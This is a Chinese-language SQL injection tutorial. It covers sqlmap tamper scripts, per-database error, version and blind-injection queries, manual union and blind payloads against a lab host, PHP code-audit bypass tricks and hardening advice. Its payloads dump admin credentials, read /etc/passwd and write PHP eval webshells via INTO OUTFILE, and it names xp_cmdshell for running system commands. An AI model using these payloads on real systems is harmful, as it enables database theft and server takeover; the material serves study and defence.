SQL注入關聯分析

在Web攻防中,SQL注入絕對是一個技能的頻繁項,爲了技術的成熟化、自動化、智能化,咱們有必要創建SQL注入與之相關典型技術之間的關聯規則。在分析過程當中,整個規則均圍繞核心詞進行直線展開,咱們簡單稱之爲「線性」關聯。以知識點的複雜性咱們雖然稱不上爲神經網絡,但它依然像滾雪球般對知識架構進行完善升級,因此也可稱之爲雪球技術。php

 

本文以SQL注入爲核心,進行資料信息整合性解讀,主要目的有:html

 

  1. 爲關聯分析這門科學提供簡單認知;mysql

  2. 爲初級安全愛好學習者提供參考,大牛繞過;web

  3. 分析各關鍵點的區別與聯繫;sql

  4. 安全掃盲。shell

 

本文結構以下:數據庫

 

 

PS:文章中使用了N多表格形式,主要是爲了更好的區別與聯繫,便於關聯分析及對比。windows

 

 

0x01 基本科普api

 

1.1  概念說明

 

說明:經過在用戶可控參數中注入SQL語法,破壞原有SQL結構,達到編寫程序時意料以外結果的攻擊行爲。http://wiki.wooyun.org/web:sql安全

 

影響:數據庫增刪改查、後臺登陸、getshell

 

修復:

  • 使用參數檢查的方式,攔截帶有SQL語法的參數傳入應用程序

  • 使用預編譯的處理方式處理拼接了用戶參數的SQL語句

  • 在參數即將進入數據庫執行以前,對SQL語句的語義進行完整性檢查,確認語義沒有發生變化

  • 在出現SQL注入漏洞時,要在出現問題的參數拼接進SQL語句前進行過濾或者校驗,不要依賴程序最開始處防禦代碼

  • 按期審計數據庫執行日誌,查看是否存在應用程序正常邏輯以外的SQL語句執行

 

 

 

1.2  注入分類

 

1)  按照數據包方式分類

 

i.  Get post cookie auth

 

2)  按照呈現形式

 

i.  回顯型注入

i)  Int string search

 

ii.  盲注

i)  Error bool time

 

iii.  另類注入

i)  寬字節注入

ii)  http header 注入

iii)  僞靜態

vi)  Base64變形

 

神器解讀

 

2.1  何爲神器

 

SQLMAP

 

使用方法,參見烏雲知識庫。

 

1.  sqlmap用戶手冊

2.  sqlmap用戶手冊[續]

3.  sqlmap進階使用

 

Tamper 概覽

 

 

腳本名稱

做用

apostrophemask.py

用utf8代替引號

equaltolike.py

like  代替等號

space2dash.py

繞過過濾‘=’ 替換空格字符(」),(’  – ‘)後跟一個破折號註釋,一個隨機字符串和一個新行(’ n’)

greatest.py

繞過過濾’>’ ,用GREATEST替換大於號。

space2hash.py

空格替換爲#號 隨機字符串 以及換行符

apostrophenullencode.py

繞過過濾雙引號,替換字符和雙引號。

halfversionedmorekeywords.py

當數據庫爲mysql時繞過防火牆,每一個關鍵字以前添加mysql版本評論

space2morehash.py

空格替換爲 #號 以及更多隨機字符串 換行符

appendnullbyte.py

在有效負荷結束位置加載零字節字符編碼

ifnull2ifisnull.py

繞過對 IFNULL 過濾。 替換相似’IFNULL(A, B)’爲’IF(ISNULL(A), B, A)’

space2mssqlblank.py

空格替換爲其它空符號

base64encode.py

用base64編碼替換

space2mssqlhash.py

替換空格

modsecurityversioned.py

過濾空格,包含完整的查詢版本註釋

space2mysqlblank.py

空格替換其它空白符號(mysql)

between.py

用between替換大於號(>)

space2mysqldash.py

替換空格字符(」)(’ – ‘)後跟一個破折號註釋一個新行(’ n’)

multiplespaces.py

圍繞SQL關鍵字添加多個空格

space2plus.py

用+替換空格

bluecoat.py

代替空格字符後與一個有效的隨機空白字符的SQL語句。 而後替換=爲like

nonrecursivereplacement.py

取代predefined SQL關鍵字with表示 suitable for替代(例如 .replace(「SELECT」、」」)) filters

space2randomblank.py

代替空格字符(「」)從一個隨機的空白字符可選字符的有效集

sp_password.py

追加sp_password’從DBMS日誌的自動模糊處理的有效載荷的末尾

chardoubleencode.py

雙url編碼(不處理以編碼的)

unionalltounion.py

替換UNION ALL SELECT UNION  SELECT

charencode.py

url編碼

randomcase.py

隨機大小寫

unmagicquotes.py

寬字符繞過 GPC addslashes

randomcomments.py

用/**/分割sql關鍵字

charunicodeencode.py

字符串  unicode 編碼

securesphere.py

追加特製的字符串

versionedmorekeywords.py

註釋繞過

space2comment.py

Replaces space  character (‘ ‘) with comments ‘/**/’

 

一些妙用:

 

1.  避免過多的錯誤請求被屏蔽  參數:--safe-url,--safe-freq

2.  二階SQL注入  參數:--second-order

3.  從數據庫服務器中讀取文件  參數:--file-read

4.  把文件上傳到數據庫服務器中  參數:--file-write,--file-dest

5.  爬行網站URL  參數:--crawl

6.  非交互模式  參數:--batch

7.  測試WAF/IPS/IDS保護  參數:--identify-waf

8.  啓發式判斷注入  參數:--smart(有時對目標很是多的URL進行測試,爲節省時間,只對可以快速判斷爲注入的報錯點進行注入,可使用此參數。)

9.  -technique

B :基於Boolean的盲注(Booleanbased blind)

Q :內聯查詢(Inline queries)

T :基於時間的盲注(time based blind)

U :基於聯合查詢(Union query based)

E :基於錯誤(error based)

S : 棧查詢(stack queries)

 

2.2  源碼精讀

 

流程圖

 

 

目前還未看完,先摘抄一部分(基於時間的盲注)講解:

 

測試應用是否存在SQL注入漏洞時,常常發現某一潛在的漏洞難以確認。這可能源於多種緣由,但主要是由於Web應用未顯示任何錯誤,於是沒法檢索任何數據。

 

對於這種狀況,要想識別漏洞,向數據庫注入時間延遲並檢查服務器響應是否也已經延遲會頗有幫助。時間延遲是一種很強大的技術,Web服務器雖然能夠隱藏錯誤或數據,但必須等待數據庫返回結果,所以可用它來確認是否存在SQL注入。該技術尤爲適合盲注。

 

使用了基於時間的盲注來對目標網址進行盲注測試,代碼以下:

 

 

 

重點注意Request.queryPage函數,將參數timeBasedCompare設置爲True,因此在Request.queryPage函數內部,有這麼一段代碼:

 

 

而函數wasLastRequestDelayed()的功能主要是判斷最後一次的請求是否有明顯的延時,方法就是將最後一次請求的響應時間與以前全部請求的響應時間的平均值進行比較,若是最後一次請求的響應時間明顯大於以前幾回請求的響應時間的平均值,就說明有延遲。

 

wasLastRequestDelayed函數的代碼以下:

 

 

每次執行http請求的時候,會將執行所響應的時間append到kb.responseTimes列表中,但不包括time-based blind所發起的請求。

 

從如下代碼就能夠知道了,當timeBasedCompare爲True(即進行time-based blind注入檢測)時,直接返回執行結果,若是是其餘類型的請求,就保存響應時間。

 

 

 

另外,爲了確保基於時間的盲注的準確性,sqlmap執行了兩次queryPage。

 

若是2次的結果都爲True,那麼就說明目標網址可注入,因此將injectable 設置爲True。

 

0x03  數據庫特性

 

3.1  Web報錯關鍵字

 

  • Microsoft OLE DB  Provider

  • ORA-

  • PLS-

  • Error in your SQL Syntax

  • SQL Error

  • Incorrect Syntax near

  • Failed Mysql

  • Unclosed Quotation Mark

  • JDBC/ODBC Driver

 

3.2  版本查詢

 

Mysql: /?param=1 select count(*)  from information_schema.tables group by concat(version(),floor(rand(0)*2))

MSSQL: /?param=1  and(1)=convert(int,@@version)--

Sybase: /?param=1 and(1)=convert(int,@@version)--

Oracle >=9.0: /?param=1  and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version  where rownum=1)||chr(62))) from dual)—

PostgreSQL: /?param=1  and(1)=cast(version() as numeric)--

 

3.3  SQL方言差別

 

 

DB

鏈接符

行註釋

惟一的默認表變量和函數

MSSQL

%2B    (URL+號編碼)

e.g.  ?category=sho’%2b’es

--

@@PACK_RECEIVED

MYSQL

%20    (URL空格編碼)

#

CONNECTION_ID()

Oracle

||

--

BITAND(1,1)

PGsql

||

--

getpgusername()

Access

「a」  & 「b」

N/A

msysobjects

 

3.4  SQL經常使用語句

 

SQL經常使用語句

 

 

內容

MSSQL

MYSQL

ORACLE

查看版本

select  @@version

select  @@version

select  version()

Select  banner from v$version;

當前用戶

select  system_users;

select  suer_sname();

select  user;

select  loginname from master..sysprocesses WHERE spid =@@SPID;

select  user();

select  system_user();

Select  user from dual

列出用戶

select  name from master..syslogins;

select  user from mysql.user;

Select  username from all_users ORDER BY username;

Select  username from all_users;

當前庫

select  DB_NAME();

select  database();

Select  global_name from global_name;

列出數據庫

select  name from master..sysdatabases;

select  schema_name from information_schema.schemata;

Select  ower,table_name from all_users;

#列出代表

當前用戶權限

select  is_srvolemenber(‘sysadmin’);

select  grantee, privilege_type,is_grantable from information schema.user privileges;

Select  * from user role_privs;

Select  * from user_sys_privs;

服務器主機名

select  @@servername;

/

Select  sys_context(‘USERENV’,’HOST’) from dual;

 

 

 

3.5  盲注函數

 

 

數據

MSSQL

Mysql

oracle

字符串長度

LEN()

LENGTH()

LENGTH()

從給定字符串中提取子串

SUBSTRING(string,offset,length)

SELECT  SUBSTR(string,offset,length)

SELECT  SUBSTR(string,offset,length)

From  dual

字符串(‘ABC’)不帶單引號的表示方式

SELECT  CHAR(0X41)+CHAR(0X42)+

CHAR(0X43)

Select  char(65,66,67)

Select  chr(65)||chr(66)+chr(67) from dual

觸發延時

WAITFOR  DELAY ‘0:0:9’

BENCHMARK(1000000,MD5(「HACK」))

 

Sleep(10)

BEGIN  DBMS_LOCK.SLEEP(5);END; --(僅PL/SQL注入)

UTL_INADDR.get_host_name()

UTL_INADDR.get_host_address()

UTL_HTTP.REQUEST()

IF語句

If  (1=1) select ‘A’ else select ‘B’

SELECT  if(1=1,’A’,’B’)

/

 

PS:SQLMAP 針對Oracle注入時,使用了比較費解的SUBSTRC,好多時候得中轉更改成SUBSTR.

 

 

0x04手工注入

 

4.1  應用場景

 

1)  快速驗證(概念性證實)

 

2)  工具跑不出來了

i)  的確是注入,但不出數據

ii)  特徵不規律,挖掘規律,定製腳本

 

3)  繞過過濾

i)  有WAF,手工注入

ii)  有過濾,搞繞過

 

4)  盲注類

 

4.2  經常使用語句

 

 

數據庫

語句(大多須要配合編碼)

Oracle

oder  by N

#  爆出第一個數據庫名

and  1=2 union select 1,2,(select banner from sys.v_ where rownum=1),4,5,6 from  dual

#  依次爆出全部數據庫名,假設第一個庫名爲first_dbname

and  1=2 union select 1,2,(select owner from all_tables where rownum=1 and  owner<>'first_dbname'),4,5,6 from dual

爆出表名

and  1=2 union select 1,2,(select table_name from user_tables where  rownum=1),4,5,6 from dual

同理,同爆出下一個數據庫相似爆出下一個表名就不說了,可是必須注意表名用大寫或者表名大寫的十六進制代碼。
 有時候咱們只想要某個數據庫中含密碼字段的表名,採用模糊查詢語句,以下:
 and (select column_name from user_tab_columns where column_name like  '%25pass%25')<0

爆出表tablename中的第一個字段名

and  1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename'  and rownum=1),4,5,6 from dual

依次下一個字段名

and  1=2 union select 1,2,(select column_name from user_tab_columns where  table_name='tablename' and column_name<>'first_col_name' and  rownum=1),4,5,6 from dual

 

若爲基於時間或者基於bool類型盲注,可結合substr 、ASCII進行賦值盲測。

若屏蔽關鍵函數,可嘗試SYS_CONTEXT('USERENV','CURRENT_USER')類用法。

Mysql

#正常語句

192.168.192.128/sqltest/news.php?id=1

#判斷存在注入否

192.168.192.128/sqltest/news.php?id=1  and 1=2

#肯定字段數 order by

192.168.192.128/sqltest/news.php?id=-1  order by 3

#測試回顯字段

192.168.192.128/sqltest/news.php?id=-1  union select 1,2,3

#測試字段內容

192.168.192.128/sqltest/news.php?id=-1  union select 1,user(),3

192.168.192.128/sqltest/news.php?id=-1  union select  1,group_concat(user(),0x5e5e,version(),0x5e5e,database(),0x5e5e,@@basedir),3

#查詢當前庫下全部表

192.168.192.128/sqltest/news.php?id=-1  union select 1,2,group_concat(table_name) from information_schema.tables  where table_schema=database()

#查詢admin表下的字段名(16進制)

192.168.192.128/sqltest/news.php?id=-1  union select 1,2,group_concat(column_name) from information_schema.columns  where table_name=0x61646d696e

#查詢admin表下的用戶名密碼

192.168.192.128/sqltest/news.php?id=-1  union select 1,2,group_concat(name,0x5e,pass) from admin

#讀取系統文件(/etc/passwd,需轉換爲16進制)

192.168.192.128/sqltest/news.php?id=-1  union select 1,2,load_file(0x2f6574632f706173737764)

#文件寫入

192.168.192.128/sqltest/news.php?id=-1  union select 1,2,0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into  outfile '/var/www/html/1.php'--

PS:若權限不足,換個目錄

MSSQL

PS:回顯型請查閱參考資料的連接,這裏主要盲注的語法。

#爆數據庫版本(可先測長度)

aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))=67/**/--&t=0

ps:在範圍界定時,可利用二分查找結合大於小於來利用;亦可直接賦值腳本爆破,依次類推直至最後一字母。

#爆當前數據庫名字

aspx?c=c1'/**/and/**/ascii(substring(db_name(),1,1))>200/**/--&t=0

#爆表

aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1  name/**/from/**/dbname.sys.all_objects where  type='U'/**/AND/**/is_ms_shipped=0),1,1))>0/**/--&t=0

#爆user表內字段

aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/  1/**/COLUMN_NAME from/**/dbname.information_schema.columns/**/where/**  /TABLE_NAME='user'),1,1))>0/**/--&t=0

#爆數據

aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/fPwd/**/from/**/User),1,1))>0/**/--&t=0

 

PS:關於注入繞過(bypass),內容偏多、過細,本次暫不概括。單獨一篇

 

 

0x05漏洞挖掘

 

5.1  黑盒測試

 

套裝組合

 

1)  AWVS類 + sqlmap (手工)

2)  Burp+ sqlmapAPI(手工)

 

 

減小體力活的工程化

 

Sqli-hunter

GourdScan

 

5.2  代碼審計

 

白盒的方式有兩種流,一種是檢查全部輸入,另外一種是根據危險函數反向

 

注入引起的特徵點及敏感函數。

 

 

NO.

概要

1

$_SERVER未轉義

2

更新時未重構更新序列

3

使用了一個未定義的常量

4

PHP自編標籤與strip_tags順序邏輯繞過

5

可控變量進入雙引號

6

寬字節轉編碼過程

7

mysql多表查詢繞過

8

別名as+反引號可閉合其後語句

9

mysql的類型強制轉換

10

過濾條件是否有if判斷進入

11

全局過濾存在白名單

12

字符串截斷函數獲取定長數據

13

括號包裹繞過

14

弱類型驗證機制

15

WAF或者過濾了and|or的狀況可使用&&與||進行盲注。

16

windows下php中訪問文件名使用」<」 「>」將會被替換成」*」 「?」

17

二次urldecode注入

18

邏輯引用二次注入

 

1)  $_SERVER[‘PHP_SELF’]和$_SERVER[‘QUERY_STRING’],而$_SERVER並無轉義,形成了注入。

 

2)  update更新時沒有重構更新序列,致使更新其餘關鍵字段(金錢、權限)

 

 

 

 

 

 

3)  在 php中 若是使用了一個未定義的常量,PHP 假定想要的是該常量自己的名字,如同用字符串調用它同樣(CONSTANT 對應 「CONSTANT」)。此時將發出一個 E_NOTICE 級的錯誤(參考http://php.net/manual/zh/language.constants.syntax.php)

 

4)  PHP中自編寫對標籤的過濾或關鍵字過濾,應放在strip_tags等去除函數以後,不然引發過濾繞過。

 

 

 

 

5)  當可控變量進入雙引號中時可造成webshell所以代碼執行使用,${file_put_contents($_GET[f],$_GET[p])}能夠生成webshell。

 

 

6)  寬字節轉編碼過程當中出現寬字節注入

 

PHP鏈接MySQL時設置setcharacter_set_client=gbk ,MySQL服務器對查詢語句進行GBK轉碼致使反斜槓\被%df吃掉。

 

7)  構造查詢語句時沒法刪除目標表中不存在字段時可以使用mysql多表查詢繞過

 

 

 

 

8)  mysql中(反引號)能做爲註釋符,且會自動閉合末尾沒有閉合的反引號。沒法使用註釋符的狀況下使用別名as+反引號可閉合其後語句。

 

9)  mysql的類型強制轉換可繞過PHP中empty()函數對0的false返回

 

提交/?test=0axxx    ->  empty($_GET['test']) => 返回真

 

可是mysql中提交其0axxx到數字型時強制轉換成數字0

 

 

 

10)  存在全局過濾時觀察過濾條件是否有if判斷進入,cms可能存在自定safekey不啓用全局過濾。經過程序遺留或者原有界面輸出safekey致使繞過。

 

 

11)  因爲全局過濾存在白名單限定功能,可以使用無用參數帶入繞過。

 

$webscan_white_directory='admin|\/dede\/|\/install\/';

 

請求中包含了白名單參數因此放行。

 

http://www.target.com/index.php/dede/?m=foo&c=bar&id=1'  and 1=2 union select xxx

 

12)  字符串截斷函數獲取定長數據,截取\\或\’前一位,閉合語句。


利用條件必須是存在兩個可控參數,前閉合,後注入。

 

13)  過濾了空格,逗號的注入,可以使用括號包裹繞過。具體如遇到select from(關鍵字空格判斷的正則,且剔除/**/等)可以使用括號包裹查詢字段繞過。

 

14)  因爲PHP弱類型驗證機制,致使==、in_array()等可經過強制轉換繞過驗證。

 

 

 

15)  WAF或者過濾了and|or的狀況可使用&&與||進行盲注。

 

 

16)  windows下php中訪問文件名使用」<」 「>」將會被替換成」*」 「?」,分別表明N個任意字符與1個任意字符。

 

file_get_contents("/images/".$_GET['a'].".jpg");

 

可以使用test.php?a=../a<%00訪問對應php文件。

 

17)  使用了urldecode 或者rawurldecode函數,則會致使二次解碼聲場單引號而發生注入。

 

 

 

 

18)  邏輯引用,致使二次注入

 

部分盲點

 

盲點以下:

 

①注入點相似id=1這種整型的參數就會徹底無視GPC的過濾;

②注入點包含鍵值對的,那麼這裏只檢測了value,對key的過濾就沒有防禦;

③有時候全局的過濾只過濾掉GET、POST和COOKIE,可是沒過濾SERVER。

 

附常見的SERVER變量(具體含義自行百度):QUERY_STRING,X_FORWARDED_FOR,CLIENT_IP,HTTP_HOST,ACCEPT_LANGUAGE

 

PS:若對注入的代碼審計有實際操類演練,參考白帽子分享之代碼審計的藝術系列HackBraid@301在路上

 

 

0x06  安全加固

 

6.1  源碼加固

 

1)  預編譯處理

 

參數化查詢是指在設計與數據庫連接並訪問數據時,在須要填入數值或數據的地方,使用參數來給值。在SQL語句中,這些參數一般一佔位符來表示。

 

MSSQL(ASP.NET)

 

爲了提升sql執行速度,請爲SqlParameter參數加上SqlDbType和size屬性

 

 

PHP

 

 

JAVA

 

 

PS:儘管SQL語句大致類似,可是在不一樣數據庫的特色,可能參數化SQL語句不一樣,例如在Access中參數化SQL語句是在參數直接以「?」做爲參數名,在SQL Server中是參數有「@」前綴,在MySQL中是參數有「?」前綴,在Oracle中參數以「:」爲前綴。

 

2)  過濾函數的使用

 

i.  addslashes()

ii.  mysql_escape_string()

iii.  mysql_real_escape_string()

iv.  intval()

 

3)  框架及第三方過濾函數與類

 

i.  JAVA hibernate框架

ii.  Others

 

6.2  產品加固

 

Web應用防火牆——WAF

Key:雲waf、安全狗、雲鎖、sqlchop

 

0x07  關聯應用

 

7.1  Getshell

 

1)  注入,查數據,找管理員密碼,進後臺,找上傳,看返回,getshell

 

2)  PHPMYSQL 類,大權限,知路徑,傳文件,回shell(上傳&命令執行),OS-SHELL。

 

3)  MSSQL大權限,知路徑,傳文件,回shell。結合xp_cmdshell 執行系統命令。

 

4)  Phpmyadmingetshell (編碼)

 

select'<?eval($_POST[cmd]);?>' into outfile 'd:/wwwroot/1.php';

 

5)  Unionselect getshell

 

and 1=2 union select0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile'/alidata/www/cms/ttbdxt/conf.php'--

 

7.2  關聯功能點

 

功能點

參數

登陸

Username password

Header

Cookie  Referer x-forward remote-ip

查詢展現

數據寫入(表單)

數據更新

id u category price  str value

數據搜素

Key

僞靜態

(同3),加*

Mysql不安全配置

Set  character_set_client=gbk

%df%27

傳參(橫向數據流向、縱向入庫流向)

Parameter (同3)

訂單類多級交互、從新編輯

配送地址、資料編輯

二次注入

APP仍調用WEB  API

同3

編碼urldecode base64

Urldecode()  rawurldecode()

 

0x08  參考資料

 

http://blog.csdn.net/rongyongfeikai2/article/details/40457827

http://drops.wooyun.org/tips/5254

https://www.91ri.org/7852.html

https://www.91ri.org/7869.html

https://www.91ri.org/7860.html

http://www.cnblogs.com/hongfei/category/372087.html

http://www.cnblogs.com/shellr00t/p/5310187.html

https://www.91ri.org/15074.html

http://blog.wils0n.cn/?post=11

相關文章
相關標籤/搜索